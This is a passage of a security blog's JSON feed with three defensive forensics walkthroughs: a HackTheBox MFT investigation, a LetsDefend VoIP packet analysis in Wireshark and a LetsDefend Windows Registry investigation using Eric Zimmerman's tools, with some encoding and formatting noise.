challenge and walkthrough.\nTo keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.\nGitHub - mandiant/flare-vm: A collection of software installations scripts for Windows systems that… _A collection of software installations scripts for Windows systems that allows you to easily setup and maintain a…_github.com\nOkay! Once we have our virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!\nQuestion 1: Simon Stark was targeted by attackers on February 13. He downloaded a ZIP file from a link received in an email. What was the name of the ZIP file he downloaded from the link? Once we’ve downloaded the challenge file and unzipped the archive, let’s get a high-level overview of the artifacts and tools we have to work with.\nWindows Explorer: The contents of the challenge file folder\nWithin the C folder, we find a single file: $MFT. This is the Master File Table, which on NTFS file systems contains an entry for every file on the system—including size, timestamps, and permissions. It\u0026rsquo;s a valuable forensic artifact for analyzing file activity on a system, and we\u0026rsquo;ll do exactly that.\nThe other two folders contain our toolset. To analyze the $MFT, we\u0026rsquo;ll use Eric Zimmerman\u0026rsquo;s MFTECmd, a CLI-based tool that parses and exports the contents. Then, we\u0026rsquo;ll leverage Timeline Explorer, another Eric Zimmerman tool—a powerful CSV viewer that lets us sort and manipulate the results.\nNow that we’ve got the background out of the way, let’s jump into MFTECmd and try it out. Open Windows Command Prompt and run the tool using the syntax below:\nMFTECmd.exe -f \u0026lt;PATH_TO_$MFT_Artifact\u0026gt; \u0026ndash;csv \u0026lt;PATH_TO_OUTPUT_DIRECTORY\u0026gt;\nThis command generates a CSV file we can open with Timeline Explorer for analysis.\nFortunately, we won’t be searching blindly — there are some clues in the question to guide us. First, we know this is a downloaded file, so filter the Parent Path column using the keyword Downloads.\nNext, filter the Extension column for .zip to isolate ZIP file downloads.\nTimeline Explorer: Identifying the ZIP file\nBy combining these filters, we can identify the file used for initial access. To validate our findings, check the Time Created column to match the date, February 13, to determine which ZIP file was created first.\nQuestion 2: Examine the Zone Identifier contents for the initially downloaded ZIP file. This field reveals the HostUrl from where the file was downloaded, serving as a valuable Indicator of Compromise (IOC) in our investigation/analysis. What is the full Host URL from where this ZIP file was downloaded? Next, we need to examine the Zone Identifier for the downloaded ZIP file to identify the URL it came from.\nTo do this, copy the Entry Number column value,75191,for the file we located in Question 1. Then, clear the Extension filter so we’re not limiting the view to just .zip files.\nNext, input the value we copied into the Entry Number column to view results tied to this specific entry in the $MFT. Once filtered, we’ll see a second entry with the .identifier extension.\nTimeline Explorer: Filtering the $MFT entry number\nScroll to the Zone ID Contents column to determine the HostURL metadata of the downloaded file. In the example below, I’ve double-clicked the entry to open the full cell contents\nTimeline Explorer: Identifying the HostURL metadata\nQuestion 3: What is the full path and name of the malicious file that executed malicious code and connected to a C2 server? Now that we’ve identified the malicious .zip file and where it was downloaded from, let\u0026rsquo;s see if we can glean anything about its contents.\nWithin Timeline Explorer, clear the Entry Number filter we used in the previous question. This time, we’ll search for the filename from within the Downloads folder—this helps us understand more about the archive’s structure.\nTimeline Explorer: Sussing out the malicious file\nUsing this keyword search, we’re able to identify a second archive, invoice.zip, which contains a suspicious .bat file—invoice.bat. Copy the entry under the Parent Path column and append the typical drive letter (C:) to match the answer format.\nQuestion 4: Analyze the $Created0x30 timestamp for the previously identified file. When was this file created on disk? For our next task, we’ll continue analyzing the file we identified in Question 3. Scroll over to the Created0x30 column, which represents the file creation timestamp.\nTimeline Explorer: Identifying the Created0x30 timestamp\nThis timestamp reflects when the file was created on disk. This is a helpful piece of forensic metadata, especially when trying to correlate file activity with an attack timeline.\nQuestion 5: Finding the hex offset of an MFT record is beneficial in many investigative scenarios. Find the hex offset of the stager file from Question 3. To tackle Question 5, we need to discover the hex offset for the malicious stager file. The hex offset is essentially the location where the entry is stored in the $MFT.\nTo retrieve this information, let’s determine if there is a way to use MFTECmd again by referring to the MFTECmd GitHub page for command usage. After reviewing the documentation, we’ll try the --de option, which dumps the details of an entry:\nde Dump full details for entry/sequence #. Format is \u0026lsquo;Entry\u0026rsquo; or \u0026lsquo;Entry-Seq\u0026rsquo; as decimal or hex. Example: 5, 624-5 or 0x270-0x5.\nNext, locate the Entry Number of the malicious file from the previous two questions under the Entry Number column.\nTimeline Explorer: Identifying the Entry Number of the malicious stager file\nPutting this together, we can use the following syntax to print the results to the console:\nMFTECmd.exe -f \u0026lt;PATH TO $MFT Artifact\u0026gt; \u0026ndash;de 23436\nCommand Prompt: MFTECmd command example to identify the offset\nWithin the results, identify the Offset value, chop off the leading padding 0x, and let’s check our work.\nQuestion 6: Each MFT record is 1024 bytes in size. If a file on disk has smaller size than 1024 bytes, they can be stored directly on MFT File itself. These are called MFT Resident files. During Windows File system Investigation, its crucial to look for any malicious/suspicious files that may be resident in MFT. This way we can find contents of malicious files/scripts. Find the contents of The malicious stager identified in Question3 and answer with the C2 IP and port. We’ve made it to the last question, and our final task is to examine the DATA attribute, which contains the malicious file stored directly in the $MFT as a resident file, to identify the command and control (C2) IP address and port.\nWithin our MFTECmd analysis results, scroll to the DATA section and focus on the ASCII portion.\nCommand Prompt: MFTECmd output, identifying the C2 server\nUnder the ASCII section, we’ll find the contents of the file — a PowerShell script used to retrieve a second-stage payload from the C2 server. For the purposes of our investigation, we just need to capture the IP address and port of the server to complete our analysis.\nConclusion: There we have it! Using the MFT, we’ve successfully uncovered how the victim’s device was infected, gathered details about the first-stage payloads, and identified the command and control (C2) server. Now that we’ve explored the MFT and put those skills into practice to complete our objectives, let’s close out this walkthrough of the BFT Sherlock.\nA big thank you to Hack The Box for another impressive Sherlock. This was a really fun challenge that let me revisit the fundamentals of MFT analysis and be reintroduced to this essential forensic artifact. Personally, learning more about MFT Resident files was a highlight. It was so cool to see that concept in action to identify the C2 server. Awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!\nUntil next week’s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.hackthebox.com/sherlocks/BFT\nFlare-VM: https://github.com/mandiant/flare-vm\nEric Zimmerman’s Tools: https://ericzimmerman.github.io/#!index.md\nMicrosoft Learn — Master File Table (Local File Systems): https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table\nMFTECmd: https://github.com/EricZimmerman/MFTECmd\n","date":"2025-05-25T00:00:00Z","image":"/posts/hackthebox-bft-sherlock-walkthrough/39f348527634cd6e92df8a87a015585d_MD5.png","permalink":"/posts/hackthebox-bft-sherlock-walkthrough/","title":"HackTheBox  — BFT Sherlock Walkthrough"},{"content":"LetsDefend — VoIP Challenge Walkthrough Investigating a Social Engineering VoIP Call Using Wireshark Image Credit: https://app.letsdefend.io/challenge/voip\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive guide to the VoIP challenge from LetsDefend, you\u0026rsquo;re in the right place. This week, we\u0026rsquo;re going to dissect Voice Over IP (VoIP) traffic with everyone\u0026rsquo;s favorite packet analysis tool -Wireshark!\nChallenge Scenario: Your close friend James recently received a suspicious phone call from someone claiming to be his bank. The caller asked for sensitive information, making James uneasy. Suspecting a potential Vishing (Voice Phishing) attack, you decide to investigate by capturing and analyzing the VoIP traffic.\nOur objective this week is to investigate a network packet capture file containing the contents of a social engineering call received by our friend James to determine the scope of the attack, including the attacker\u0026rsquo;s phone number and what information James divulged. Sounds like fun, right? Let\u0026rsquo;s get to it!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: How many RTP packets were in the traffic? We\u0026rsquo;ll kick off our investigation by first extracting the archive file, Bank Incident.7z, from within the ChallengeFile directory. Then, double-click Traffic.pcapng to open it with Wireshark, which we\u0026rsquo;ll use analyze the packet capture data.\nOnce the packet capture is open, we\u0026rsquo;ll focus on determining the number of RTP packets within the capture to answer Question 1. Before searching for the answer, let\u0026rsquo;s take a beat to understand what RTP is from the Wireshark Wiki:\nRTP, the real-time transport protocol. RTP provides end-to-end network transport functions suitable for applications transmitting real-time data, such as audio, video or simulation data, over multicast or unicast network services.\nIn the context of our investigation, the RTP packets carry the data content of the VoIP call so determining the total number of packets provides an overview of the call which we\u0026rsquo;ll use later in the investigation.\nTo figure out the total number of RTP packets, we\u0026rsquo;ll adjust the display filter by entering rtp into the search field.\nWireshark: Identifying the number of captured RTP packets\nAt the bottom of the window, we\u0026rsquo;ll see the total number of packets and a Displayed value representing the filtered results. This is the value we need to answer Question 1.\nQuestion 2: When did the fake call with James start? Our next task is to determine when the vishing call started. While we already learned how to filter the RTP contents in the previous question, we\u0026rsquo;ll need to pivot and adjust our filter for a separate protocol this time — the Session Initiation Protocol (SIP).\nBecause the SIP protocol handles the management functions of VoIP calls including the creation, modification, and termination of the session, and establishing the RTP stream, we can analyze the captured SIP packets to determine the start time of the call.\nTurning back to our Wireshark window, let\u0026rsquo;s enter sip into the search field this time. The first displayed packet („–5) is the one we want to focus on. There\u0026rsquo;s just a slight problem: the value in the time column doesn\u0026rsquo;t match the answer format, does it?\nNo problem! We just need to make an adjustment to the Time Display Format, which we can change by pressing View \u0026gt; Time Display Format \u0026gt; Date and Time of Day.\nWireshark: Modifying Time Display Format\nAfter we change the display format, we\u0026rsquo;ll be able to see the time value in a more readable way that matches the required answer format.\nWireshark: Identifying SIP call initiate time\nQuestion 3: What is the Jame\u0026rsquo;s phone number? To answer Question 3, we need to dive into the SIP traffic to determine James\u0026rsquo; phone number. We\u0026rsquo;ll explore two ways to approach this below.\nThe first method is to follow the SIP stream by right clicking the first packet in the stream, „–5, that we identified in the last question, then selecting Follow \u0026gt; SIP Call.\nWireshark: Displaying SIP stream\nThis opens the SIP stream window where we can manually examine the assembled stream and identify the To: field which represents James as the recipient of the VoIP call by number and IP address.\nWireshark: SIP stream contents\nAnother easier method to approach this is to leverage the Telephony tools in Wireshark. To do this, click the Telephony tab at the top of the Wireshark window, then select VoIP Calls.\nWireshark: VoIP calls window\nUsing this method provides us with an easy-to-read overview of the call including James\u0026rsquo; phone number within the To column. We\u0026rsquo;ll continue to use this data to answer the next couple of questions, so keep it handy.\nQuestion 4: How long was the call with the bank? We\u0026rsquo;re able to answer Question 4 by examining the VoIP Calls interface and checking the Duration column.\nWireshark: Identifying the VoIP call duration\nQuestion 5: What is the phone number of the bank that James received a call from? Using the same process as above, check the From column to determine the phone number of the \u0026ldquo;bank.\u0026rdquo;\nWireshark: Identifying the VoIP caller\nQuestions 6 \u0026amp; 7: What is the name of the bank calling? What is James\u0026rsquo;s Social Number? Now that we\u0026rsquo;ve analyzed the VoIP traffic at the packet level, we\u0026rsquo;re going to pivot and actually listen to the assembled audio of the call from the VoIP Call window—how cool is that?\nBut first, in order to leverage Wireshark\u0026rsquo;s RTP Player to listen to the audio content of the call, we\u0026rsquo;ll need to connect to the LetsDefend virtual machine over the Remote Desktop Protocol (RDP) rather than using the browser-based interface so that audio can be passed through to our speakers.\nSo, how do we do this? According to the LetsDefend Help Center, there is an option to manually connect with your RDP client by selecting the flag icon at the top of the LetsDefend challenge page to view the IP address of your VM and the credentials to access it.\nLetsDefend: Locating RDP connection info\nOnce you\u0026rsquo;ve connected to the LetsDefend environment via RDP, clear the Wireshark filters and access the Telephony \u0026gt; VoIP Calls window again to display the full VoIP call contents. Press the Play Streams button to access the RTP Player.\nWireshark: Location of play sound option in VoIP window\nNow that we\u0026rsquo;re finally on the RTP Player, the last step is pressing the play button to listen to the call to discover the purported name of the bank and to hear James divulge his social security number.\nWireshark: The RTP Player\nNow that we\u0026rsquo;ve identified these two items from the RTP player, let\u0026rsquo;s submit our answers and close out this investigation!\nConclusion: We\u0026rsquo;ve made it to the end! By leveraging Wireshark to examine the data of the vishing call, we\u0026rsquo;ve successfully determined the number of RTP packets that carried the content of the call, when the attack occurred, the attacker\u0026rsquo;s SIP phone number, which bank they were impersonating, and what data was compromised. Now that we have a full understanding of the attack, we can report back to James and help get him back on his feet. What great friends we are!\nA big thank you to LetsDefend, for another cool and interesting challenge! I selected this one because I was completely unaware that Wireshark had VoIP call analysis functions built-in, and I\u0026rsquo;ve used a separate tool for VoIP analysis in the real world. By going hands-on and being challenged to test different scenarios with familiar tools, I\u0026rsquo;ve been able to consolidate my toolkit and gain a better understanding of how I can utilize applications like Wireshark more efficiently — awesome! I hope you learned something new, too!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/voip\nWireshark: https://www.wireshark.org/\nWireshark Wiki — RTP: https://wiki.wireshark.org/RTP\nWireshark Wiki — SIP: https://wiki.wireshark.org/SIP\nWireshark Docs — Playing VoIP Calls: https://www.wireshark.org/docs/wsug_html_chunked/ChTelPlayingCalls.html\nLetsDefend Help Center: https://help.letsdefend.io/en/articles/8729133-can-t-access-to-the-labs\n","date":"2025-05-11T00:00:00Z","image":"/posts/letsdefend-voip-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png","permalink":"/posts/letsdefend-voip-challenge-walkthrough/","title":"LetsDefend — VoIP Challenge Walkthrough"},{"content":"LetsDefend — Windows Registry Challenge Walkthrough A Windows Registry forensic investigation using Eric Zimmerman\u0026rsquo;s Registry Explorer, ShellBags Explorer, AppCompatCacheParser, and AmcacheParser. https://app.letsdefend.io/challenge/windows-registry\nIntroduction: Welcome to my weekly walkthrough! If you\u0026rsquo;ve stumbled across this blog searching for a comprehensive guide to the Windows Registry challenge from LetsDefend, you\u0026rsquo;re in the right place. This week, we\u0026rsquo;re diving deep into investigating the Windows Registry.\nChallenge Scenario: As a cybersecurity analyst, you\u0026rsquo;ve been given an image containing all the registry hives from one of our employee\u0026rsquo;s machines. Your task is to thoroughly examine the provided artifacts and respond to a series of questions based on your analysis.\nIn this scenario, we\u0026rsquo;re wearing our cybersecurity analyst hat, and are handed an image with a registry dump of all of the hives from a Windows device. Our objective is to sift through the artifacts and find the information requested to move forward through our investigation.\nWhat\u0026rsquo;s in our tool kit for this investigation? We\u0026rsquo;re going to leverage several tools from Eric Zimmerman\u0026rsquo;s forensic suite to parse and explore the various registry hives, including: Registry Explorer, ShellBags Explorer, AppCompatCacheParser, and AmcacheParser.\nBut that\u0026rsquo;s not all! To provide detailed explanations and enrich our investigation, we\u0026rsquo;ll refer to detailed write-ups from the Magnet Forensics blog to gain comprehensive insights into the forensic process and how the registry works. This challenge is a great primer to the world of registry forensics! Sounds like fun, right? Let\u0026rsquo;s go!\nAnd if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.\nThanks for reading and going on this investigation with me!\nQuestion 1: How many users were added? To kick off our investigation, let\u0026rsquo;s review the available tools and artifacts to orient ourselves with the analysis environment and determine how we want to approach the challenge.\nFirst, extract the archive file RegistryImage.7z from the ChallengeFile directory. Then, let\u0026rsquo;s take a look at the challenge artifacts. Since this is a registry challenge, we\u0026rsquo;ll start with the contents of the ChallengeFile\\C\\Windows\\System32\\config directory, which is the directory where the registry files are stored. Inside, we\u0026rsquo;ll find that the folder contains a dump of the system-wide Windows Registry Hives (SYSTEM, SAM, SOFTWARE, SECURITY, etc.) which we\u0026rsquo;ll need to analyze to tackle the investigation.\nEach of these hives contain different keys pertaining to various aspects of the device. Don\u0026rsquo;t worry, we\u0026rsquo;ll go into these in more detail later.\nThe Registry Hive Artifacts\nNext, let\u0026rsquo;s check out the contents of the Tools folder within the analysis environment. Inside, we\u0026rsquo;ll see that we have access to a number of tools, several that are used to parse and view registry hives.\nThe Tools Folder Contents\nFor the first part of this investigation, we\u0026rsquo;ll be leveraging Registry Explorer. This GUI-based tool is part of Eric Zimmerman\u0026rsquo;s tool suite and is a \u0026quot; # \u0026ldquo;Registry viewer with searching, multi-hive support, plugins, and more.\u0026ldquo;To uncover the number of users on the system and answer Question 1, we\u0026rsquo;ll need to load the Security Account Manager (SAM) Hive which contains user information like username, group membership, and login information. To load this hive, perform the following steps:\nOpen the Registry Explorer folder and launch the application. Press File \u0026gt; Load Hive. Select the SAM hive from the ChallengeFile\\C\\Windows\\System32\\config directory. Once we load the SAM hive with Registry Explorer, we can use the available \u0026quot; # \u0026quot;\nUsers (User accounts)\u0026rdquo; bookmark to identify the users on the system.\nRegistry Explorer: Selecting the Users Bookmark\nWe\u0026rsquo;ll find there are four built-in users, and two additional users added to the system. This is easier to see if you expand the User Name column.\nRegistry Explorer: Identifying the Added User Accounts\nQuestion 2: What is the build number of the user\u0026rsquo;s operating system? To answer Question 2, we\u0026rsquo;ll need to discover the \u0026quot; # \u0026quot;\nBuildNumber\u0026rdquo; of the operating system of the machine the dump was captured from. Since this isn\u0026rsquo;t user account-related, we\u0026rsquo;ll need to load another registry artifact — the SOFTWARE hive which contains the information, settings, and preferences for software installed on the system, including the operating system.\nOnce we load the SOFTWARE hive into Registry Explorer, we\u0026rsquo;ll receive the following \u0026quot; # \u0026quot;\ndirty hive\u0026quot; error message referencing the transaction logs:\nRegistry Explorer: Dirty hive warning\nTo avoid this error, we can cancel the dialogue and reload the hive, this time holding down SHIFT when pressing Open. This will prevent us from needing to manually select the transaction log files and saving a \u0026quot; # \u0026quot;\nclean\u0026quot; hive for separate analysis.\nRegistry Explorer: Transaction log replay confirmation\nNow that the SOFTWARE hive is loaded, let\u0026rsquo;s browse it using the available common bookmark, \u0026quot; # \u0026quot;\nCurrentVersion (Windows version information (Windows NT key))\u0026quot; .\nRegistry Explorer: Selecting the CurrentVersion bookmark\nThis will take us to the CurrentVersion key where we can identify the OS build number in the CurrentBuild value and successfully answer Question 2.\nRegistry Explorer: Identifying the build number of the OS\nQuestion 3: What was the IP address of the machine you are investigating right now? For the next task, we\u0026rsquo;ll need to identify the IP address of the machine we\u0026rsquo;re investigating. We can locate this information by loading a third registry hive, the SYSTEM hive. The SYSTEM hive contains the system\u0026rsquo;s configuration settings including the network interfaces.\nFollow the same process that we used in Question 2 to bypass the dirty hive error message. We can then use the \u0026quot; # \u0026quot;\n**Interfaces (DHCPNetworkHints, NetworkSettings Plugins)\u0026quot; ** bookmark to identify the relevant network configuration information including the assigned IP address.\nRegistry Explorer: Selecting the Interfaces bookmark\nThe value we\u0026rsquo;re looking for to answer Question 3 is the DHCPIP Address value.\nRegistry Explorer: Identifying the Machine\u0026rsquo;s IP Address\nQuestion 4: We suspect that the user may have some video games on their work PC. What is the name of the game? Based on what we\u0026rsquo;ve learned so far, it seems logical that checking the Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall key would be the best place to identify installed applications. But what if a game isn\u0026rsquo;t actually installed or the directory has been deleted? Can we find any evidence that it existed on the system with only a registry hive?\nTo determine if the user had any games installed on the work device we\u0026rsquo;re investigating, we\u0026rsquo;ll need to take a different approach searching for evidence. Let\u0026rsquo;s check the Question 4 hint for some guidance:\nFirst, let\u0026rsquo;s start with some background on what Shellbags are and what the UsrClass hive is. For a deeper insight, we\u0026rsquo;ll lean on the extremely thorough explanation from Magnet Forensics:\nShellbags are a set of registry keys that store information about the view settings and preferences of folders as they are viewed in Windows Explorer.\nWindows creates a number of additional artifacts when storing these properties in the registry, giving the investigator great insight into the folder, browsing history of a suspect, as well as details for any folder that might no longer exist on a system (due to deletion, or being located on a removable device).\nSo, putting all this together for our purposes, we may be able to find evidence of a folder containing a game by exploring the shellbags stored within the UsrClass.dat hive.\nTo do this, we can leverage another of Eric Zimmerman\u0026rsquo;s tools, ShellBags Explorer. This utility is a \u0026quot; # \u0026ldquo;GUI for browsing shellbags data. Handles locked files\u0026quot;and is already available in the Tools folder — very handy!\nGo ahead and launch the utility, then press \u0026quot; # \u0026quot;\nFile\u0026rdquo; and select \u0026quot; # \u0026quot;\nLoad offline hive\u0026quot; . Select the UsrClass.dat hive from the following directory: C\\Users\\Administrator\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat\nShellBags Explorer: Identifying the video game\nAfter exploring the available artifacts with ShellBags Explorer, we\u0026rsquo;ll stumble upon the folder Rainbow Six Siege, a popular online game, and the answer to Question 4.\nQuestion 5: There was a file that got executed from the Downloads directory. What is the modification time of the said file? Continuing forward, our next task is to discover the modification time of a file executed from within the Downloads directory. To do this, we\u0026rsquo;re going to analyze the Application Compatibility Cache (AppCompatCache), part of the SYSTEM registry hive.\nBut first, some context. In a Windows-based system, the AppCompatCache is used to track compatibility with older apps in newer versions of Windows. At first glance, this doesn\u0026rsquo;t seem that interesting but, from a forensic perspective, it contains some valuable information. For example, we\u0026rsquo;ll refer to another post from Magnet Forensics to explain the AppCompatCache further_:_\nShimCache, also known as the Application Compatibility Cache, is a feature in Windows designed to maintain compatibility for applications running on newer operating systems. It tracks the execution of applications, whether they were executed recently or in the past. ShimCache is part of the AppCompat framework, which Windows uses to ensure compatibility with older applications.\nOkay! Now we\u0026rsquo;re getting somewhere. To retrieve this information, we\u0026rsquo;ll pivot to another of Eric Zimmerman\u0026rsquo;s tools, AppCompatCacheParser, to parse the SYSTEM registry hive and interpret the execution time of the file from the AppCompatCache. This tool is available in the analysis environment under this directory: C:\\Users\\LetsDefend\\Desktop\\Tools\\Eric Zimmerman Tools\\AppCompatCacheParser.exe\nFor example, we can execute the tool from the Windows Command Prompt with the following command to generate a CSV file for us to analyze:\n\u0026ldquo;C:\\Users\\LetsDefend\\Desktop\\Tools\\Eric Zimmerman Tools\\AppCompatCacheParser.exe\u0026rdquo; -f \u0026ldquo;C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\Windows\\System32\\config\\SYSTEM\u0026rdquo; \u0026ndash;csv \u0026ldquo;C:\\Users\\LetsDefend\\Desktop\u0026rdquo;\nRunning AppCompatCacheParser.exe from Command Prompt\nOnce the CSV file is generated, we\u0026rsquo;ll open it with yet another Eric Zimmerman tool, Timeline Explorer. This tool is a CSV viewer with robust filtering and sorting capabilities. For our purposes, we can use it to filter the Path column for the keyword \u0026quot; # \u0026quot;\nDownloads,\u0026quot; since this is the directory we want to focus on, to find that there is only one result.\nWe\u0026rsquo;ll need to check the column to the left, Last Modified Time UTC, to identify the answer to Question 5!\nTimeline Explorer: Filtering the Download Path\nQuestion 6: We believe that the user may have installed some malicious files on their work PC. What is the SHA1 hash of the malicious file? Next up, we need to identify the SHA1 file hash of a malicious file installed on the PC. The first step here is to determine which file is malicious. To do this, we\u0026rsquo;re going to check the AmCache hive to gain an understanding of the files that have been executed on the system.\nIf you read the entire reference article from Magnet Forensics in the previous question, you may have seen a reference to this hive already. If not, here is an overview of the forensic significance of the AmCache hive from their blog:\nAmCache is one of the most significant and detailed artifacts available to forensic investigators on modern Windows systems. Introduced in Windows 8, AmCache provides a wealth of information about executables and DLLs that interact with the system, recording key metadata which helps investigators piece together a forensic timeline of program activity. Unlike ShimCache, which captures metadata at shutdown, AmCache provides live data and tracks when files were first executed, making it a more reliable indicator of execution.\nPerfect! This sounds like exactly the right place to be searching. In our analysis environment, we can locate the AmCache hive in the following directory: C:\\Windows\\AppCompat\\Programs\\Amcache.hve\nHow do we parse this, you might be asking? At this point in the investigation, it will come as no surprise that we are going to leverage another Eric Zimmerman tool. This time we\u0026rsquo;ll use AmcacheParser using a similar syntax to the previous question. For reference, I\u0026rsquo;ll leave an example below to output the results to CSV:\n\u0026ldquo;C:\\Users\\LetsDefend\\Desktop\\Tools\\Eric Zimmerman Tools\\AmcacheParser.exe\u0026rdquo; -f \u0026ldquo;C:\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\Windows\\AppCompat\\Programs\\Amcache.hve\u0026rdquo; \u0026ndash;csv \u0026ldquo;C:\\Users\\LetsDefend\\Desktop\u0026rdquo;\nRunning AmcacheParser.exe from Command Prompt\nA difference between the output of AmCacheParser versus AppCompatCacheParser is that there are several files created. For the purposes of our investigation, we need to focus on the unassociated file entries CSV file, DATE_Amcache_UnassociatedFileEntries.csv.\nOpen the file in Timeline Explorer and find the Full Path column. Sift through the displayed executable paths, looking for anything that sticks out as strange. You may have also noticed this file when we were exploring the shellbags back in Question 4\u0026hellip;\nTimeline Explorer: Identifying the Malicious File Path\nThis executable looks a little suspicious, doesn\u0026rsquo;t it? Let\u0026rsquo;s collect the SHA1 file hash from the column to the left, SHA1, and check if we\u0026rsquo;ve identified the correct file.\nf7910c5a92168453106e4343032d1c5ca239ce16\nQuestion 7: What is the malware family name of the previous file? Now that we\u0026rsquo;ve identified a potentially malicious file and acquired its SHA1 hash, let\u0026rsquo;s pivot out to VirusTotal to gather some additional intelligence, and check if this file hash has been observed before.\nVirusTotal: https://www.virustotal.com/gui/file/1486c747b69c5bef4db22df9e508bdecffa85a2f79e97f88445494311f33555c\nAfter submitting the hash, we can determine that the file is indeed malicious based on the number of antivirus hits. We can also refer to the \u0026quot; # \u0026quot;\nfamily labels\u0026quot; tag to determine the malware family name to answer Question 7.\nQuestion 8: The user opened a file on 2024€“05€“06 06:39:09 on their work PC. What is the name of that file? To identify the file opened on the specified date/time, we\u0026rsquo;ll need to jump back to Registry Explorer and load the NTUSER.DAT artifact. This hive can be located at: C\\Users\\LetsDefend\\Desktop\\ChallengeFile\\C\\Users\\Administrator TUSER.DAT\nAgain, we\u0026rsquo;ll open this hive by selecting the NTUSER.DAT file and holding SHIFT when opening it to replay the transaction logs. Once the hive is loaded, we\u0026rsquo;ll use the \u0026quot; # \u0026quot;\nRecentDocs (Recently opened files by extension)\u0026quot; bookmark to view the RecentDocs key which tracks recent file and folder activity.\nRegistry Explorer: Selecting the RecentDocs bookmark\nSort the results by the Opened On column and match the date from the question.\nRegistry Explorer: Identifying the file for the specific date/time\nUsing the RecentDocs key, we can determine that the file Note.txt is the file of interest to answer Question 8.\nQuestion 9: The user opened MSPaint on their work PC. Can you determine the exact time it happened? To answer Question 9, we now need to determine the exact time a user on the system opened MSPaint. To accomplish this, we\u0026rsquo;ll continue using the available bookmarks to search against the NTUSER.DAT hive, this time selecting the \u0026quot; # \u0026quot;\nRunMRU (Most recently run programs)\u0026quot; bookmark.\nAccording to Magnet Forensics, the Most Recently Used (MRU) artifacts \u0026quot; # \u0026ldquo;are a variety of artifacts tracked by modern Windows operating systems that provide crucial details regarding the user\u0026rsquo;s interaction with files, folders, and programs that may have been executed using the Windows Run utility.\u0026ldquo;So, by browsing this key we may be able to identify where the user launched Microsoft Paint using the run utility.\nRegistry Explorer: Selecting the RunMRU bookmark\nOnce the key has loaded, we\u0026rsquo;ll locate the mspaint executable and find the timestamp we\u0026rsquo;re searching for in the Opened On column.\nRegistry Explorer: Identifying the \u0026quot; # \u0026quot;\nOpened On\u0026rdquo; date/time for MSPaint\nQuestion 10: Can you find out how long the user had MSPaint open? Okay, we\u0026rsquo;ve made it to the last question! Now that we\u0026rsquo;ve identified when MSPaint was opened, we\u0026rsquo;ll now need to continue analyzing the NTUSER.DAT hive to determine how long the application was open. For this task, we\u0026rsquo;ll use the \u0026quot; # \u0026quot;\nUserAssist (Recently accessed items)\u0026rdquo; bookmark to analyze the artifacts.\nFor the last time, let\u0026rsquo;s reference Magnet Forensics to learn more about these artifacts:\nUserAssist is a feature in Windows that tracks the usage of executable files and applications launched by the user. It stores this information in the Windows Registry, which can be accessed by forensic analysts to reconstruct a timeline of application usage and user activity.\nRegistry Explorer: Selecting the UserAssist bookmark\nAfter selecting the bookmark, we\u0026rsquo;ll see quite a few entries. To narrow it down, we can type \u0026quot; # \u0026ldquo;paint\u0026quot;into the Program Name field to filter the results. After that, we can see the total time the application was open in the Focus Time column.\nRegistry Explorer: Identifying the \u0026quot; # \u0026quot;\nFocus Time\u0026rdquo; for MSPaint\nNow let\u0026rsquo;s submit the answer and wrap up our investigation!\nConclusion: There we have it! By leveraging Eric Zimmerman\u0026rsquo;s tools to analyze the Windows Registry image, including the SAM, SOFTWARE, SYSTEM, UsrClass, AmCache, and NTUSER hives, we\u0026rsquo;ve successfully navigated this investigation. Throughout this challenge, we\u0026rsquo;ve identified device details, application information, and even found evidence of malware on the device, all while gaining a deep understanding of several forensic artifacts within the registry. Now that we have scoped the attack and completed our objectives, let\u0026rsquo;s close out this walkthrough of the Windows Registry!\nA big thank you to LetsDefend, for another awesome and engaging lab, and a shout out to Magnet Forensics for their fantastic blog, which was crucial in helping contextualize this investigation and providing deep insights into the registry forensics process. I hope that the links are a value add for your own investigations in the real world. I chose another registry challenge this week to keep pushing myself to learn more about the registry artifacts. This challenge was an excellent next step as it required a variety of tools and research to find the correct information, which better equips me for real-world engagements — awesome stuff!\nThanks for your support and partnering on this investigation. If you found this walkthrough helpful, don\u0026rsquo;t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we\u0026rsquo;re in this together!\nUntil next week\u0026rsquo;s challenge — stay curious and be safe out there!\nTools \u0026amp; References: Challenge Link: https://app.letsdefend.io/challenge/windows-registry\nEric Zimmerman\u0026rsquo;s Tools - (Registry Explorer, ShellBags Explorer, AppCompatCacheParser, \u0026amp;AmcacheParser): https://ericzimmerman.github.io/#!index.md\nMagnet Forensics Blog: https://www.magnetforensics.com/resource-center/blogs/\nMicrosoft Learn — Registry Hives: https://learn.microsoft.com/en-us/windows/win32/sysinfo/registry-hives\nMagnet Forensics \u0026quot; # \u0026ldquo;Forensic Analysis of Windows Shellbags\u0026rdquo;: https://www.magnetforensics.com/blog/forensic-analysis-of-windows-shellbags/\n**Wikipedia — \u0026quot; # \u0026quot;\nTom Clancy\u0026rsquo;s Rainbow Six Siege\u0026quot; :** 